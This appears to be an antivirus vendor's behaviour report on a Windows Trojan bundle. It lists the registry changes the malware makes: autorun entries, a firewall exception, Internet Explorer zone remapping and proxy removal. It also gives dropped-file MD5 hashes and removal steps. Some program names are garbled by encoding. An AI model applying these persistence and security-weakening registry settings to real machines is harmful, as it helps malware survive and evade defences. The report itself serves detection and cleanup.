[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Ainqngz5.2.exe]
"(Default)" = "%Program Files%\ainqngz5.2\Ainqngz5.2.exe"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"
[HKLM\SOFTWARE\dsrs]
"EX" = "1"
"ED" = "107"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\°®Çé.ÖÇ»Û.5.2]
"UninstallString" = "%Program Files%\ainqngz5.2\uninstall.exe"
[HKLM\SOFTWARE\dsrs]
"EN" = "pczh_107_306.exe"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "41 91 1C 32 01 4C C8 70 8F 54 0C 76 40 A3 B3 B3"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
The process sc.exe:1416 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "D9 0A FE 9B EA F6 9D DA 8E 04 15 F6 07 5A 25 CD"
The process sc.exe:1888 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "70 77 67 0F 36 8D 24 78 A5 18 00 C5 33 C2 F4 01"
The process wwwww_3340.exe:3976 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "DA 65 6B 18 D0 C1 34 0B 62 87 64 3D 8F 68 74 10"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"
"Personal" = "%Documents and Settings%\%current user%\My Documents"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"
The process %original file name%.exe:928 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "5C 11 E8 A1 37 D5 FC 3F 5D EC DB 94 77 13 52 4E"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
The process oovmdw_70745.exe:588 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "13 17 65 FA BA B1 E3 98 41 3D A0 F7 28 E8 68 43"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCR\metnsd\clsid]
"SequenceID" = "77 55 30 3A 19 57 33 4B 8E C3 BE A6 1C BF 51 7F"
Adds a rule to the firewall Windows which allows any network activity:
[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\%Program Files%\updatr]
"oovmdw_70745.exe" = "%Program Files%\updatr\oovmdw_70745.exe:*:Enabled:百度å«士在线安装程åºÂÂ"
The Trojan adds process executable file it works in to the list of trusted Windows Firewall applications:
[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\AuthorizedApplications\List\%Program Files%\updatr]
"oovmdw_70745.exe" = "%Program Files%\updatr\oovmdw_70745.exe:*:Enabled:百度å«士在线安装程åºÂÂ"
The process YFMSever.exe:3420 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1E 00 00 00 01 00 00 00 00 00 00 00"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "DE B8 11 58 45 5C 3E AB 60 AF 6E 1A EB 9B 03 88"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
Proxy settings are disabled:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The Trojan deletes the following value(s) in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
The process yymusic05.exe:3356 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1F 00 00 00 01 00 00 00 00 00 00 00"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "22 D3 DB 84 FB 32 9A 41 D5 84 F0 B2 3E 84 41 0C"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
[HKLM\SOFTWARE\yyfm0529]
"RD" = "_2014081121"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"yyfm0529_2014081121" = "%Program Files%\yyfm0529\2014081121\yymusic05.exe -mini"
Proxy settings are disabled:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"yyfm0529_News_2014081121" = "%Program Files%\yyfm0529\2014081121\YFMSever.exe -mini"
The Trojan deletes the following value(s) in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"ProxyServer"
"AutoConfigURL"
The Trojan disables automatic startup of the application by deleting the following autorun value:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"BoxNews"
"yyfm0529_News"
"YyfmPlay"
"yyfm0529"
The process guagua_77150006814.exe:496 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1B 00 00 00 01 00 00 00 00 00 00 00"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E8 0C DA A3 D0 7B 08 D6 6A 90 7E 08 2D 5A 91 0D"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
Proxy settings are disabled:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The Trojan deletes the following value(s) in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
The process Ainqngz5.2.exe:504 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1C 00 00 00 01 00 00 00 00 00 00 00"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache]
"@xpsp3res.dll,-20001" = "Diagnose Connection Problems..."
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKLM\SOFTWARE\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "Ainqngz5.2.exe"
[HKLM\SOFTWARE\Microsoft\Direct3D\MostRecentApplication]
"Name" = "Ainqngz5.2.exe"
[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
[HKLM\SOFTWARE\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1404720818"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "63 95 55 92 11 66 A2 60 B2 24 81 37 E1 19 C5 55"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
Proxy settings are disabled:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The Trojan deletes the following value(s) in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
Dropped PE files
MD5 | File path |
---|---|
44edff85d12e091f0b129f05a3f2a042 | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsh6.tmp\BDLogicUtils.dll |
d184763cb4e62d531193978de7b82db2 | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsh6.tmp\BDMDownload.dll |
c8b0dca29d7b9aff1b801af86212c586 | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsh6.tmp\BDMNet.dll |
12f98be1d919784370eb0f87e78b60d8 | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsh6.tmp\BDMNetGetInfo.dll |
30cbc602ada7cdfb0346038c05996d84 | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsh6.tmp\BDMReport.dll |
b540a866191f7fd20f5e6355bc2b094e | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsh6.tmp\BDMSkin.dll |
f52eb281e29da8065e18805617ac2cbc | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsh6.tmp\System.dll |
763b532d651f0ad5e135d9b57bf4fba4 | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsh6.tmp\dl.dll |
ebfe7c9594e300bb0c16e7bb99a7e66d | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsh6.tmp\hu.dll |
731e4fd7cbbff12adebb2a4ff8fbe9eb | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsh6.tmp\tmpjnmhqw.dll |
254f13dfd61c5b7d2119eb2550491e1d | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsz3.tmp\NSISdl.dll |
00a0194c20ee912257df53bfe258ee4a | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsz3.tmp\System.dll |
f951a17f9892add6be51b7f84638defe | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsz3.tmp\guagua_77150006814.exe |
2e02c1bdb46273ef13cb5203576e079f | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsz3.tmp\pczh_107_306.exe |
8d6d78fcc0a17b47f17ce77217ef53a1 | c:\Program Files\ainqngz5.2\Ainqngz5.2.exe |
151ff53109c38e720e9083e3a4e194f8 | c:\Program Files\ainqngz5.2\candid.exe |
61dd64b3a469bdcd80a69e8fc084d240 | c:\Program Files\ainqngz5.2\schedule.exe |
b975774b4cabf39685edf11b68b81dbe | c:\Program Files\ainqngz5.2\uninstall.exe |
f06fb28d3a6db3fbd7e462bb6322af56 | c:\Program Files\updatr\oovmdw_70745.exe |
927b4252817c5d2b7c57c0c84e72fcfc | c:\Program Files\updatr\union.exe |
927b4252817c5d2b7c57c0c84e72fcfc | c:\Program Files\updatr\yunbo0717.exe |
HOSTS file anomalies
No changes have been detected.
Rootkit activity
No anomalies have been detected.
Propagation
Removals
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Terminate malicious process(es) (How to End a Process With the Task Manager):
candid.exe:600
pczh_107_306.exe:1628
sc.exe:1416
sc.exe:1888
wwwww_3340.exe:3976
oovmdw_70745.exe:588
yymusic05.exe:3356
guagua_77150006814.exe:496 - Delete the original Trojan file.
- Delete or disinfect the following files created/modified by the Trojan:
%Documents and Settings%\%current user%\Start Menu\Programs\°®Çé.ÖÇ»Û.5.2\öÃâ€ÂØ.lnk (715 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh9.tmp\Base64.dll (4 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\°®Çé.ÖÇ»Û.5.2\°®Çé.ÖÇ»Û.5.2.lnk (720 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh9.tmp\nsExec.dll (6 bytes)
%Program Files%\ainqngz5.2\uninstall.exe (5064 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh9.tmp\nsA.tmp (6 bytes)
%Program Files%\ainqngz5.2\candid.exe (5520 bytes)
%Program Files%\ainqngz5.2\Ainqngz5.2.exe (4992 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh9.tmp\NSISdl.dll (14 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh9.tmp\nsB.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh8.tmp (19409 bytes)
%Program Files%\ainqngz5.2\schedule.exe (1552 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh9.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Templates\1120148215041584\YYM_955WD30.gif (1134 bytes)
%Documents and Settings%\%current user%\Desktop\°®Çé.ÖÇ»Û.5.2.lnk (708 bytes)
